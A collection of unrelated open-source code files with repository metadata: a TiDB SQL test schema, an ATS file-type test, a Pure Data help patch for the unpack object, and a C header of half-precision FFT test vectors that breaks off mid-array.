CREATE TABLE `test` (
`s1` char(10) NOT NULL,
`s2` char(10) NOT NULL,
`s3` char(10) DEFAULT NULL,
PRIMARY KEY (`s1`,`s2`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin/*!90000 SHARD_ROW_ID_BITS=3 PRE_SPLIT_REGIONS=3 */; | SQL | 3 | cuishuang/tidb | br/tests/lightning_shard_rowid/data/shard_rowid.shr-schema.sql | [
"Apache-2.0"
] |
#include "share/atspre_staload.hats"
#include "share/HATS/atslib_staload_libats_libc.hats"
#include "DATS/shared.dats"
#include "$PATSHOMELOCS/specats-0.2.3/mylibies.hats"
#include "DATS/utils.dats"
#include "DATS/error.dats"
fn test_file(s : string, expected : pl_type) : bool =
let
var t0_actual = prune_extension("test/data/" + s, s)
val b = expected = t0_actual
val _ = free(expected)
val _ = free(t0_actual)
in
b
end
implement main0 () =
{
var e = empty_file
var t0_expected = happy(e)
var b0 = test_file("Python.y", t0_expected)
var n0 = @{ fst = "happy", snd = b0 }
var t1_expected = yacc(e)
var b1 = test_file("rust.y", t1_expected)
var n1 = @{ fst = "yacc", snd = b1 }
var t2_expected = coq(e)
var b2 = test_file("Coq.v", t2_expected)
var n2 = @{ fst = "coq", snd = b2 }
var t3_expected = verilog(e)
var b3 = test_file("verilog.v", t3_expected)
var n3 = @{ fst = "verilog", snd = b3 }
var xs = n0 :: n1 :: n2 :: n3 :: nil
var total = list_vt_length(xs)
val g = @{ group = "Overlaps", leaves = xs } : test_tree
val _ = iterate_list(g, 0, total)
}
| ATS | 3 | lambdaxymox/polyglot | test/test.dats | [
"BSD-3-Clause"
] |
#N struct template1 float x float y float z float q;
#N canvas 669 106 614 519 12;
#X floatatom 281 226 5 0 0 0 - - - 0;
#X obj 64 473 pack;
#X obj 107 14 unpack;
#X text 170 13 - split a message to atoms;
#X msg 50 148 1 2;
#X msg 89 148 3 4 shut;
#X msg 168 148 5 6 pick 7 8;
#X text 369 473 updated for Pd version 0.33;
#X text 362 184 <= creation arguments specify the types of atoms expected
, f 29;
#X obj 89 185 unpack float float symbol float float;
#X symbolatom 217 227 7 0 0 0 - - - 0;
#X text 67 449 See also:;
#X obj 152 359 unpack s f;
#X msg 152 289 list octave 3;
#X msg 186 313 pitch 69;
#X symbolatom 152 393 7 0 0 0 - - - 0;
#X text 257 294 unpack accepts lists or 'anythings'., f 20;
#X msg 348 355 100 200;
#X obj 348 381 unpack;
#X floatatom 348 409 4 0 0 0 - - - 0;
#X floatatom 387 409 4 0 0 0 - - - 0;
#X text 417 368 By default \, unpack splits two floats., f 18;
#X floatatom 345 226 5 0 0 0 - - - 0;
#X floatatom 153 226 5 0 0 0 - - - 0;
#X floatatom 89 226 5 0 0 0 - - - 0;
#X floatatom 219 392 5 0 0 0 - - - 0;
#X text 59 347 abbreviated arguments =>, f 12;
#X obj 110 473 trigger;
#N canvas 879 82 610 216 pointer 0;
#X obj 189 146 ../4.data.structures/01.scalars;
#X text 75 40 The [unpack] object unpack a pointer from a list. A pointer
can be the location of a Data Structure scalar somewhere or the head
of a Data Structure list. To know more about Data Structures \, how
to handle pointers and see examples \, please refer to the 4.Data.Structure
section of the Pd's tutorials. Starting with the first example below.
, f 70;
#X restore 363 117 pd pointer;
#X text 444 117 <= about pointers;
#X text 76 56 unpack takes lists of atoms and distributes them to its
outlets. The creation arguments specify the number of outlets and the
atom type \, possible values are: float (or 'f') \, symbol (or 's')
and pointer (or 'p') - see [pd pointer]., f 64;
#X connect 4 0 9 0;
#X connect 5 0 9 0;
#X connect 6 0 9 0;
#X connect 9 0 24 0;
#X connect 9 1 23 0;
#X connect 9 2 10 0;
#X connect 9 3 0 0;
#X connect 9 4 22 0;
#X connect 12 0 15 0;
#X connect 12 1 25 0;
#X connect 13 0 12 0;
#X connect 14 0 12 0;
#X connect 17 0 18 0;
#X connect 18 0 19 0;
#X connect 18 1 20 0;
| Pure Data | 5 | myQwil/pure-data | doc/5.reference/unpack-help.pd | [
"TCL"
] |
static const uint16_t in_cfft_noisy_16[32] = {
0xa963, 0x0, 0x37dd, 0x0, 0x39ca, 0x0, 0x389f, 0x0,
0x23a5, 0x0, 0xb69a, 0x0, 0xb9c8, 0x0, 0xb77f, 0x0,
0x2638, 0x0, 0x37c1, 0x0, 0x3956, 0x0, 0x3800, 0x0,
0x9f32, 0x0, 0xb7f4, 0x0, 0xb9c0, 0x0, 0xb803, 0x0
};
static const uint16_t in_cifft_noisy_16[32] = {
0x2f3e, 0x0, 0xaa72, 0xb333, 0xb07c, 0xc59d, 0xaf3d, 0x20c9,
0x2943, 0x294b, 0xaebf, 0x293d, 0x2daf, 0x2a77, 0x1b0a, 0xaec2,
0xb384, 0x0, 0x1b0a, 0x2ec2, 0x2daf, 0xaa77, 0xaebf, 0xa93d,
0x2943, 0xa94b, 0xaf3d, 0xa0c9, 0xb07c, 0x459d, 0xaa72, 0x3333
};
static const uint16_t ref_cfft_noisy_16[32] = {
0x2f3e, 0x0, 0xaa72, 0xb333, 0xb07c, 0xc59d, 0xaf3d, 0x20c9,
0x2943, 0x294b, 0xaebf, 0x293d, 0x2daf, 0x2a77, 0x1b0a, 0xaec2,
0xb384, 0x0, 0x1b0a, 0x2ec2, 0x2daf, 0xaa77, 0xaebf, 0xa93d,
0x2943, 0xa94b, 0xaf3d, 0xa0c9, 0xb07c, 0x459d, 0xaa72, 0x3333
};
static const uint16_t in_cfft_noisy_32[64] = {
0x2a24, 0x0, 0x3771, 0x0, 0x3a25, 0x0, 0x378e, 0x0,
0xabf0, 0x0, 0xb7ba, 0x0, 0xb987, 0x0, 0xb7c1, 0x0,
0xad2b, 0x0, 0x389f, 0x0, 0x39ce, 0x0, 0x3828, 0x0,
0xaed5, 0x0, 0xb77d, 0x0, 0xb9b5, 0x0, 0xb826, 0x0,
0x2941, 0x0, 0x372e, 0x0, 0x3994, 0x0, 0x3757, 0x0,
0xad1f, 0x0, 0xb81b, 0x0, 0xb9e2, 0x0, 0xb6c2, 0x0,
0x29f3, 0x0, 0x385c, 0x0, 0x3979, 0x0, 0x3766, 0x0,
0x28c3, 0x0, 0xb745, 0x0, 0xb89e, 0x0, 0xb80b, 0x0
};
static const uint16_t in_cifft_noisy_32[64] = {
0x2e71, 0x0, 0x3551, 0x2f86, 0xa837, 0x3479, 0x2c4a, 0x2218,
0x3585, 0xc98d, 0xb475, 0x3362, 0xb10f, 0x2548, 0xa0cb, 0xb53f,
0xb50c, 0xb05c, 0xb042, 0x32d6, 0x3046, 0x2aca, 0xadc3, 0xa80e,
0x3202, 0x2cdf, 0xb021, 0xae43, 0x3868, 0x25a2, 0x34bd, 0xb297,
0xae39, 0x0, 0x34bd, 0x3297, 0x3868, 0xa5a2, 0xb021, 0x2e43,
0x3202, 0xacdf, 0xadc3, 0x280e, 0x3046, 0xaaca, 0xb042, 0xb2d6,
0xb50c, 0x305c, 0xa0cb, 0x353f, 0xb10f, 0xa548, 0xb475, 0xb362,
0x3585, 0x498d, 0x2c4a, 0xa218, 0xa837, 0xb479, 0x3551, 0xaf86
};
static const uint16_t ref_cfft_noisy_32[64] = {
0x2e71, 0x0, 0x3551, 0x2f86, 0xa837, 0x3479, 0x2c4a, 0x2218,
0x3585, 0xc98d, 0xb475, 0x3362, 0xb10f, 0x2548, 0xa0cb, 0xb53f,
0xb50c, 0xb05c, 0xb042, 0x32d6, 0x3046, 0x2aca, 0xadc3, 0xa80e,
0x3202, 0x2cdf, 0xb021, 0xae43, 0x3868, 0x25a2, 0x34bd, 0xb297,
0xae39, 0x0, 0x34bd, 0x3297, 0x3868, 0xa5a2, 0xb021, 0x2e43,
0x3202, 0xacdf, 0xadc3, 0x280e, 0x3046, 0xaaca, 0xb042, 0xb2d6,
0xb50c, 0x305c, 0xa0cb, 0x353f, 0xb10f, 0xa548, 0xb475, 0xb362,
0x3585, 0x498d, 0x2c4a, 0xa218, 0xa837, 0xb479, 0x3551, 0xaf86
};
static const uint16_t in_cfft_noisy_64[128] = {
0xa868, 0x0, 0x3828, 0x0, 0x396c, 0x0, 0x3721, 0x0,
0xa18b, 0x0, 0xb822, 0x0, 0xb937, 0x0, 0xb7cd, 0x0,
0x2f37, 0x0, 0x382c, 0x0, 0x39fe, 0x0, 0x3722, 0x0,
0xa693, 0x0, 0xb803, 0x0, 0xb969, 0x0, 0xb70c, 0x0,
0x28cd, 0x0, 0x377b, 0x0, 0x39b0, 0x0, 0x379a, 0x0,
0x2987, 0x0, 0xb7a8, 0x0, 0xb970, 0x0, 0xb7da, 0x0,
0x254f, 0x0, 0x384c, 0x0, 0x3977, 0x0, 0x3787, 0x0,
0xa30e, 0x0, 0xb81c, 0x0, 0xb992, 0x0, 0xb66c, 0x0,
0xa314, 0x0, 0x37de, 0x0, 0x3a82, 0x0, 0x380d, 0x0,
0xa80a, 0x0, 0xb80b, 0x0, 0xba06, 0x0, 0xb838, 0x0,
0xa056, 0x0, 0x3745, 0x0, 0x3967, 0x0, 0x37b6, 0x0,
0x2d0a, 0x0, 0xb71a, 0x0, 0xb990, 0x0, 0xb7cf, 0x0,
0x281b, 0x0, 0x3823, 0x0, 0x3969, 0x0, 0x38c6, 0x0,
0xad50, 0x0, 0xb751, 0x0, 0xb979, 0x0, 0xb713, 0x0,
0xabd5, 0x0, 0x374a, 0x0, 0x39c4, 0x0, 0x3654, 0x0,
0xea6, 0x0, 0xb630, 0x0, 0xb9bc, 0x0, 0xb875, 0x0
};
static const uint16_t in_cifft_noisy_64[128] = {
0x356a, 0x0, 0xb022, 0xb137, 0xb4b2, 0xa7a6, 0xb45e, 0xb502,
0x3235, 0xa54c, 0xb6e7, 0x35bc, 0x328d, 0x214c, 0xa7c0, 0x38b4,
0x32af, 0xcd8a, 0x2a72, 0xb151, 0xb12b, 0xb33a, 0xb726, 0xaf26,
0xb596, 0xadef, 0x35c9, 0xb415, 0xb301, 0xa9e0, 0xa67f, 0xb454,
0xaf1a, 0xb1b6, 0xac5b, 0xb5a6, 0xb1d7, 0xb59e, 0x36d0, 0xb8b7,
0x32e9, 0x33d6, 0x357d, 0xadd2, 0xb067, 0x341d, 0x30a6, 0xb1bc,
0x29f0, 0x35b5, 0x2d97, 0x2c67, 0xb1d2, 0x2e1a, 0xb883, 0xb1d8,
0xb360, 0xb176, 0x3253, 0xaea1, 0x274a, 0x36cb, 0x26f9, 0x370e,
0x2aea, 0x0, 0x26f9, 0xb70e, 0x274a, 0xb6cb, 0x3253, 0x2ea1,
0xb360, 0x3176, 0xb883, 0x31d8, 0xb1d2, 0xae1a, 0x2d97, 0xac67,
0x29f0, 0xb5b5, 0x30a6, 0x31bc, 0xb067, 0xb41d, 0x357d, 0x2dd2,
0x32e9, 0xb3d6, 0x36d0, 0x38b7, 0xb1d7, 0x359e, 0xac5b, 0x35a6,
0xaf1a, 0x31b6, 0xa67f, 0x3454, 0xb301, 0x29e0, 0x35c9, 0x3415,
0xb596, 0x2def, 0xb726, 0x2f26, 0xb12b, 0x333a, 0x2a72, 0x3151,
0x32af, 0x4d8a, 0xa7c0, 0xb8b4, 0x328d, 0xa14c, 0xb6e7, 0xb5bc,
0x3235, 0x254c, 0xb45e, 0x3502, 0xb4b2, 0x27a6, 0xb022, 0x3137
};
static const uint16_t ref_cfft_noisy_64[128] = {
0x356a, 0x0, 0xb022, 0xb137, 0xb4b2, 0xa7a6, 0xb45e, 0xb502,
0x3235, 0xa54c, 0xb6e7, 0x35bc, 0x328d, 0x214c, 0xa7c0, 0x38b4,
0x32af, 0xcd8a, 0x2a72, 0xb151, 0xb12b, 0xb33a, 0xb726, 0xaf26,
0xb596, 0xadef, 0x35c9, 0xb415, 0xb301, 0xa9e0, 0xa67f, 0xb454,
0xaf1a, 0xb1b6, 0xac5b, 0xb5a6, 0xb1d7, 0xb59e, 0x36d0, 0xb8b7,
0x32e9, 0x33d6, 0x357d, 0xadd2, 0xb067, 0x341d, 0x30a6, 0xb1bc,
0x29f0, 0x35b5, 0x2d97, 0x2c67, 0xb1d2, 0x2e1a, 0xb883, 0xb1d8,
0xb360, 0xb176, 0x3253, 0xaea1, 0x274a, 0x36cb, 0x26f9, 0x370e,
0x2aea, 0x0, 0x26f9, 0xb70e, 0x274a, 0xb6cb, 0x3253, 0x2ea1,
0xb360, 0x3176, 0xb883, 0x31d8, 0xb1d2, 0xae1a, 0x2d97, 0xac67,
0x29f0, 0xb5b5, 0x30a6, 0x31bc, 0xb067, 0xb41d, 0x357d, 0x2dd2,
0x32e9, 0xb3d6, 0x36d0, 0x38b7, 0xb1d7, 0x359e, 0xac5b, 0x35a6,
0xaf1a, 0x31b6, 0xa67f, 0x3454, 0xb301, 0x29e0, 0x35c9, 0x3415,
0xb596, 0x2def, 0xb726, 0x2f26, 0xb12b, 0x333a, 0x2a72, 0x3151,
0x32af, 0x4d8a, 0xa7c0, 0xb8b4, 0x328d, 0xa14c, 0xb6e7, 0xb5bc,
0x3235, 0x254c, 0xb45e, 0x3502, 0xb4b2, 0x27a6, 0xb022, 0x3137
};
static const uint16_t in_cfft_noisy_128[256] = {
0xa095, 0x0, 0x383e, 0x0, 0x394a, 0x0, 0x3814, 0x0,
0xa598, 0x0, 0xb71e, 0x0, 0xb9a9, 0x0, 0xb728, 0x0,
0x9c90, 0x0, 0x378f, 0x0, 0x39b3, 0x0, 0x3873, 0x0,
0x2a98, 0x0, 0xb74a, 0x0, 0xb953, 0x0, 0xb771, 0x0,
0xa6c5, 0x0, 0x382a, 0x0, 0x39ad, 0x0, 0x37eb, 0x0,
0x2a4f, 0x0, 0xb84f, 0x0, 0xb984, 0x0, 0xb889, 0x0,
0xabf9, 0x0, 0x373d, 0x0, 0x394e, 0x0, 0x3691, 0x0,
0xa8a7, 0x0, 0xb7b8, 0x0, 0xb993, 0x0, 0xb873, 0x0,
0x1364, 0x0, 0x37c0, 0x0, 0x38ca, 0x0, 0x3800, 0x0,
0x22b2, 0x0, 0xb791, 0x0, 0xb98c, 0x0, 0xb80b, 0x0,
0x29e4, 0x0, 0x3827, 0x0, 0x39e2, 0x0, 0x3753, 0x0,
0x2361, 0x0, 0xb726, 0x0, 0xb946, 0x0, 0xb852, 0x0,
0xa055, 0x0, 0x3800, 0x0, 0x39be, 0x0, 0x3825, 0x0,
0x283e, 0x0, 0xb712, 0x0, 0xb976, 0x0, 0xb835, 0x0,
0x22ba, 0x0, 0x3827, 0x0, 0x3983, 0x0, 0x36ed, 0x0,
0xaa1f, 0x0, 0xb7e9, 0x0, 0xb97a, 0x0, 0xb7c1, 0x0,
0xac07, 0x0, 0x3899, 0x0, 0x3979, 0x0, 0x38e2, 0x0,
0x94fe, 0x0, 0xb83d, 0x0, 0xb993, 0x0, 0xb7db, 0x0,
0xacd6, 0x0, 0x37b0, 0x0, 0x38d6, 0x0, 0x3809, 0x0,
0x306d, 0x0, 0xb7c4, 0x0, 0xb94f, 0x0, 0xb751, 0x0,
0xa608, 0x0, 0x3847, 0x0, 0x39b3, 0x0, 0x375e, 0x0,
0x2429, 0x0, 0xb877, 0x0, 0xb93c, 0x0, 0xb6eb, 0x0,
0x2282, 0x0, 0x38f0, 0x0, 0x39ab, 0x0, 0x3830, 0x0,
0x2829, 0x0, 0xb6ed, 0x0, 0xb97a, 0x0, 0xb842, 0x0,
0xa7da, 0x0, 0x3819, 0x0, 0x38d4, 0x0, 0x376b, 0x0,
0x2bd5, 0x0, 0xb8b6, 0x0, 0xb998, 0x0, 0xb879, 0x0,
0xa893, 0x0, 0x38c6, 0x0, 0x3a1c, 0x0, 0x3687, 0x0,
0x29a2, 0x0, 0xb79f, 0x0, 0xba3b, 0x0, 0xb78f, 0x0,
0x1cd7, 0x0, 0x37d0, 0x0, 0x3960, 0x0, 0x3790, 0x0,
0x9ed4, 0x0, 0xb77f, 0x0, 0xb902, 0x0, 0xb885, 0x0,
0xa85d, 0x0, 0x36f8, 0x0, 0x3a33, 0x0, 0x3851, 0x0,
0x2706, 0x0, 0xb704, 0x0, 0xb8f1, 0x0, 0xb84e, 0x0
};
static const uint16_t in_cifft_noisy_128[256] = {
0x3638, 0x0, 0xaaed, 0x3481, 0x381e, 0xb249, 0x3b47, 0xb819,
0xb7dd, 0xaf5a, 0xb8e3, 0x2ff7, 0x3350, 0x30b7, 0x367e, 0x38cb,
0x2c88, 0x3690, 0xb879, 0x31b2, 0x38e9, 0xb893, 0xb63b, 0x3a44,
0x2f68, 0xa981, 0x32f2, 0x3749, 0xb700, 0xaad7, 0xb680, 0xadec,
0xb959, 0xd191, 0x2892, 0x315d, 0xb166, 0x306a, 0xb23b, 0x2f06,
0xac11, 0x2fb7, 0xb323, 0xb8cf, 0x38c7, 0xb83c, 0x3625, 0xaa0f,
0xb420, 0x2c71, 0x3936, 0x2f55, 0xb692, 0xb10e, 0x3438, 0xabd1,
0xb3f2, 0x35a4, 0x2ccd, 0xa829, 0xbb15, 0x36f0, 0xaeb6, 0xaf7a,
0xa91d, 0xba11, 0xb0aa, 0x29b7, 0x305e, 0x343d, 0xb279, 0x271c,
0x306c, 0xb860, 0xac02, 0xb723, 0xb622, 0xb418, 0x354d, 0xb71b,
0x3926, 0xb1d3, 0xb26b, 0x2b48, 0xb7ec, 0x3535, 0xb8ba, 0xb17e,
0x3516, 0xb9c5, 0x34cf, 0xa921, 0x3848, 0xb5fa, 0x3045, 0x3abd,
0xb942, 0xb9b7, 0x36a0, 0xb54d, 0x1fee, 0x3767, 0x3663, 0x29bd,
0x3530, 0xb375, 0x31a5, 0xa3bb, 0xb23b, 0xaffe, 0x3114, 0x288f,
0xb823, 0xb141, 0xb60c, 0x29b9, 0x2b32, 0xb94a, 0x38a0, 0xb4a7,
0xb79f, 0xb5b1, 0x2e74, 0xb27a, 0xb638, 0xb617, 0x3508, 0x2e9c,
0xa5d8, 0x0, 0x3508, 0xae9c, 0xb638, 0x3617, 0x2e74, 0x327a,
0xb79f, 0x35b1, 0x38a0, 0x34a7, 0x2b32, 0x394a, 0xb60c, 0xa9b9,
0xb823, 0x3141, 0x3114, 0xa88f, 0xb23b, 0x2ffe, 0x31a5, 0x23bb,
0x3530, 0x3375, 0x3663, 0xa9bd, 0x1fee, 0xb767, 0x36a0, 0x354d,
0xb942, 0x39b7, 0x3045, 0xbabd, 0x3848, 0x35fa, 0x34cf, 0x2921,
0x3516, 0x39c5, 0xb8ba, 0x317e, 0xb7ec, 0xb535, 0xb26b, 0xab48,
0x3926, 0x31d3, 0x354d, 0x371b, 0xb622, 0x3418, 0xac02, 0x3723,
0x306c, 0x3860, 0xb279, 0xa71c, 0x305e, 0xb43d, 0xb0aa, 0xa9b7,
0xa91d, 0x3a11, 0xaeb6, 0x2f7a, 0xbb15, 0xb6f0, 0x2ccd, 0x2829,
0xb3f2, 0xb5a4, 0x3438, 0x2bd1, 0xb692, 0x310e, 0x3936, 0xaf55,
0xb420, 0xac71, 0x3625, 0x2a0f, 0x38c7, 0x383c, 0xb323, 0x38cf,
0xac11, 0xafb7, 0xb23b, 0xaf06, 0xb166, 0xb06a, 0x2892, 0xb15d,
0xb959, 0x5191, 0xb680, 0x2dec, 0xb700, 0x2ad7, 0x32f2, 0xb749,
0x2f68, 0x2981, 0xb63b, 0xba44, 0x38e9, 0x3893, 0xb879, 0xb1b2,
0x2c88, 0xb690, 0x367e, 0xb8cb, 0x3350, 0xb0b7, 0xb8e3, 0xaff7,
0xb7dd, 0x2f5a, 0x3b47, 0x3819, 0x381e, 0x3249, 0xaaed, 0xb481
};
static const uint16_t ref_cfft_noisy_128[256] = {
0x3638, 0x0, 0xaaed, 0x3481, 0x381e, 0xb249, 0x3b47, 0xb819,
0xb7dd, 0xaf5a, 0xb8e3, 0x2ff7, 0x3350, 0x30b7, 0x367e, 0x38cb,
0x2c88, 0x3690, 0xb879, 0x31b2, 0x38e9, 0xb893, 0xb63b, 0x3a44,
0x2f68, 0xa981, 0x32f2, 0x3749, 0xb700, 0xaad7, 0xb680, 0xadec,
0xb959, 0xd191, 0x2892, 0x315d, 0xb166, 0x306a, 0xb23b, 0x2f06,
0xac11, 0x2fb7, 0xb323, 0xb8cf, 0x38c7, 0xb83c, 0x3625, 0xaa0f,
0xb420, 0x2c71, 0x3936, 0x2f55, 0xb692, 0xb10e, 0x3438, 0xabd1,
0xb3f2, 0x35a4, 0x2ccd, 0xa829, 0xbb15, 0x36f0, 0xaeb6, 0xaf7a,
0xa91d, 0xba11, 0xb0aa, 0x29b7, 0x305e, 0x343d, 0xb279, 0x271c,
0x306c, 0xb860, 0xac02, 0xb723, 0xb622, 0xb418, 0x354d, 0xb71b,
0x3926, 0xb1d3, 0xb26b, 0x2b48, 0xb7ec, 0x3535, 0xb8ba, 0xb17e,
0x3516, 0xb9c5, 0x34cf, 0xa921, 0x3848, 0xb5fa, 0x3045, 0x3abd,
0xb942, 0xb9b7, 0x36a0, 0xb54d, 0x1fee, 0x3767, 0x3663, 0x29bd,
0x3530, 0xb375, 0x31a5, 0xa3bb, 0xb23b, 0xaffe, 0x3114, 0x288f,
0xb823, 0xb141, 0xb60c, 0x29b9, 0x2b32, 0xb94a, 0x38a0, 0xb4a7,
0xb79f, 0xb5b1, 0x2e74, 0xb27a, 0xb638, 0xb617, 0x3508, 0x2e9c,
0xa5d8, 0x0, 0x3508, 0xae9c, 0xb638, 0x3617, 0x2e74, 0x327a,
0xb79f, 0x35b1, 0x38a0, 0x34a7, 0x2b32, 0x394a, 0xb60c, 0xa9b9,
0xb823, 0x3141, 0x3114, 0xa88f, 0xb23b, 0x2ffe, 0x31a5, 0x23bb,
0x3530, 0x3375, 0x3663, 0xa9bd, 0x1fee, 0xb767, 0x36a0, 0x354d,
0xb942, 0x39b7, 0x3045, 0xbabd, 0x3848, 0x35fa, 0x34cf, 0x2921,
0x3516, 0x39c5, 0xb8ba, 0x317e, 0xb7ec, 0xb535, 0xb26b, 0xab48,
0x3926, 0x31d3, 0x354d, 0x371b, 0xb622, 0x3418, 0xac02, 0x3723,
0x306c, 0x3860, 0xb279, 0xa71c, 0x305e, 0xb43d, 0xb0aa, 0xa9b7,
0xa91d, 0x3a11, 0xaeb6, 0x2f7a, 0xbb15, 0xb6f0, 0x2ccd, 0x2829,
0xb3f2, 0xb5a4, 0x3438, 0x2bd1, 0xb692, 0x310e, 0x3936, 0xaf55,
0xb420, 0xac71, 0x3625, 0x2a0f, 0x38c7, 0x383c, 0xb323, 0x38cf,
0xac11, 0xafb7, 0xb23b, 0xaf06, 0xb166, 0xb06a, 0x2892, 0xb15d,
0xb959, 0x5191, 0xb680, 0x2dec, 0xb700, 0x2ad7, 0x32f2, 0xb749,
0x2f68, 0x2981, 0xb63b, 0xba44, 0x38e9, 0x3893, 0xb879, 0xb1b2,
0x2c88, 0xb690, 0x367e, 0xb8cb, 0x3350, 0xb0b7, 0xb8e3, 0xaff7,
0xb7dd, 0x2f5a, 0x3b47, 0x3819, 0x381e, 0x3249, 0xaaed, 0xb481
};
static const uint16_t in_cfft_noisy_256[512] = {
0x28e8, 0x0, 0x3768, 0x0, 0x3963, 0x0, 0x3676, 0x0,
0x28c3, 0x0, 0xb781, 0x0, 0xb930, 0x0, 0xb834, 0x0,
0x2750, 0x0, 0x367a, 0x0, 0x39bc, 0x0, 0x3809, 0x0,
0x245b, 0x0, 0xb778, 0x0, 0xba4d, 0x0, 0xb8da, 0x0,
0x2cb1, 0x0, 0x376c, 0x0, 0x39ca, 0x0, 0x3837, 0x0,
0xa6b7, 0x0, 0xb67d, 0x0, 0xb962, 0x0, 0xb80a, 0x0,
0xaa96, 0x0, 0x3783, 0x0, 0x3957, 0x0, 0x37c9, 0x0,
0xaad6, 0x0, 0xb760, 0x0, 0xb9e3, 0x0, 0xb80f, 0x0,
0xa7c8, 0x0, 0x387f, 0x0, 0x3a15, 0x0, 0x36bd, 0x0,
0xac11, 0x0, 0xb834, 0x0, 0xb9e1, 0x0, 0xb7c0, 0x0,
0x2979, 0x0, 0x3842, 0x0, 0x397f, 0x0, 0x3756, 0x0,
0xaf0e, 0x0, 0xb842, 0x0, 0xb986, 0x0, 0xb7fe, 0x0,
0x2ba6, 0x0, 0x3723, 0x0, 0x38f9, 0x0, 0x3663, 0x0,
0xac1d, 0x0, 0xb7d7, 0x0, 0xb986, 0x0, 0xb795, 0x0,
0x2258, 0x0, 0x374e, 0x0, 0x3a52, 0x0, 0x381a, 0x0,
0x1ee6, 0x0, 0xb865, 0x0, 0xb94a, 0x0, 0xb78e, 0x0,
0x142a, 0x0, 0x3804, 0x0, 0x3a23, 0x0, 0x38b7, 0x0,
0x2a7c, 0x0, 0xb8b5, 0x0, 0xba22, 0x0, 0xb804, 0x0,
0x1c40, 0x0, 0x386a, 0x0, 0x39a2, 0x0, 0x3835, 0x0,
0xacc0, 0x0, 0xb7c7, 0x0, 0xb9cf, 0x0, 0xb867, 0x0,
0x1e7c, 0x0, 0x37a1, 0x0, 0x38a4, 0x0, 0x37c4, 0x0,
0x271d, 0x0, 0xb768, 0x0, 0xb8f1, 0x0, 0xb77f, 0x0,
0xa57a, 0x0, 0x37c0, 0x0, 0x3962, 0x0, 0x3792, 0x0,
0x99de, 0x0, 0xb6c2, 0x0, 0xb98d, 0x0, 0xb78c, 0x0,
0xa99d, 0x0, 0x380d, 0x0, 0x38e6, 0x0, 0x3867, 0x0,
0x1bd1, 0x0, 0xb724, 0x0, 0xb93a, 0x0, 0xb75b, 0x0,
0xac24, 0x0, 0x370e, 0x0, 0x39dd, 0x0, 0x37db, 0x0,
0xaa9d, 0x0, 0xb721, 0x0, 0xb965, 0x0, 0xb74b, 0x0,
0x2c5f, 0x0, 0x37a9, 0x0, 0x3969, 0x0, 0x37df, 0x0,
0x2c91, 0x0, 0xb7b1, 0x0, 0xb94f, 0x0, 0xb6da, 0x0,
0x2950, 0x0, 0x37ec, 0x0, 0x3970, 0x0, 0x36b0, 0x0,
0x1a8e, 0x0, 0xb847, 0x0, 0xba54, 0x0, 0xb860, 0x0,
0xa9d7, 0x0, 0x378b, 0x0, 0x3a43, 0x0, 0x365e, 0x0,
0xa9fc, 0x0, 0xb76c, 0x0, 0xba10, 0x0, 0xb623, 0x0,
0xa4c1, 0x0, 0x36a9, 0x0, 0x39fa, 0x0, 0x384a, 0x0,
0xae70, 0x0, 0xb855, 0x0, 0xb9e2, 0x0, 0xb783, 0x0,
0x2bba, 0x0, 0x3738, 0x0, 0x38c1, 0x0, 0x3739, 0x0,
0x2c52, 0x0, 0xb8bb, 0x0, 0xb946, 0x0, 0xb849, 0x0,
0xa70a, 0x0, 0x38b3, 0x0, 0x3993, 0x0, 0x3710, 0x0,
0x27c8, 0x0, 0xb745, 0x0, 0xb97e, 0x0, 0xb79e, 0x0,
0x225f, 0x0, 0x3730, 0x0, 0x397d, 0x0, 0x3610, 0x0,
0x243a, 0x0, 0xb794, 0x0, 0xb9d4, 0x0, 0xb89d, 0x0,
0x2202, 0x0, 0x369a, 0x0, 0x3a4c, 0x0, 0x3873, 0x0,
0x26ad, 0x0, 0xb837, 0x0, 0xba16, 0x0, 0xb812, 0x0,
0x2771, 0x0, 0x3741, 0x0, 0x39e2, 0x0, 0x3775, 0x0,
0x2b47, 0x0, 0xb81b, 0x0, 0xb9d1, 0x0, 0xb819, 0x0,
0x248b, 0x0, 0x371d, 0x0, 0x3996, 0x0, 0x3876, 0x0,
0x2a46, 0x0, 0xb820, 0x0, 0xb9f4, 0x0, 0xb7f3, 0x0,
0x25ed, 0x0, 0x378c, 0x0, 0x39d9, 0x0, 0x3741, 0x0,
0xacca, 0x0, 0xb839, 0x0, 0xb959, 0x0, 0xb80a, 0x0,
0xa8ec, 0x0, 0x37e9, 0x0, 0x39d8, 0x0, 0x3831, 0x0,
0xaa93, 0x0, 0xb82e, 0x0, 0xb965, 0x0, 0xb801, 0x0,
0x26ca, 0x0, 0x37a6, 0x0, 0x3972, 0x0, 0x382b, 0x0,
0x30b2, 0x0, 0xb87d, 0x0, 0xb8f2, 0x0, 0xb8a1, 0x0,
0xa4db, 0x0, 0x3852, 0x0, 0x3a09, 0x0, 0x37d2, 0x0,
0x2923, 0x0, 0xb836, 0x0, 0xb9a2, 0x0, 0xb712, 0x0,
0xa833, 0x0, 0x38a3, 0x0, 0x38ed, 0x0, 0x3740, 0x0,
0x2bfa, 0x0, 0xb842, 0x0, 0xb943, 0x0, 0xb79e, 0x0,
0xa4db, 0x0, 0x3776, 0x0, 0x393b, 0x0, 0x37c6, 0x0,
0x2bf9, 0x0, 0xb7e9, 0x0, 0xb935, 0x0, 0xb83e, 0x0,
0x2419, 0x0, 0x3754, 0x0, 0x39fc, 0x0, 0x3732, 0x0,
0x2c4b, 0x0, 0xb68e, 0x0, 0xb9aa, 0x0, 0xb811, 0x0,
0x1e73, 0x0, 0x37fa, 0x0, 0x39d8, 0x0, 0x37d3, 0x0,
0x27f6, 0x0, 0xb7a5, 0x0, 0xb9bc, 0x0, 0xb89f, 0x0
};
static const uint16_t in_cifft_noisy_256[512] = {
0xba4a, 0x0, 0x32dc, 0x2f88, 0xa9a6, 0x3c53, 0x345f, 0xa9a1,
0xb0d7, 0x34e6, 0x3223, 0xb96d, 0xb934, 0x3388, 0x3510, 0x3931,
0xab2c, 0x3a16, 0xb031, 0xb6ea, 0xbb56, 0xb477, 0x30dc, 0x3a47,
0xb04a, 0xb59e, 0x3761, 0x3642, 0xb972, 0xb907, 0x38c5, 0xb35f,
0xb940, 0xb035, 0xb43c, 0x2c9a, 0x2fb1, 0xb896, 0xb8d3, 0x308a,
0xb8f5, 0xa841, 0xb09a, 0x35b8, 0xb919, 0x2efb, 0x389f, 0x3901,
0x3747, 0x303e, 0xb76b, 0x3117, 0xadf3, 0xb1f3, 0x39ae, 0x30f4,
